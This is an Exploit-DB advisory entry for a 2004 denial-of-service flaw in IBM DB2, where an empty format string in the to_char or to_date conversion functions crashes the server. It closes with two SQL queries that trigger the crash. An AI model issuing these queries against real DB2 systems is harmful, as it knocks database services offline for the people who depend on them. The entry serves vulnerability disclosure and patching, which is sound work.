IBM DB2 DTS To String Conversion - Denial of Service Vulnerability

2004-09-01T00:00:00
ID EDB-ID:24677
Type exploitdb
Reporter Chris Anley
Modified 2004-09-01T00:00:00

Description

IBM DB2 DTS To String Conversion Denial Of Service Vulnerability. CVE-2005-4869. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/11400/info

IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.

It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions. 

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1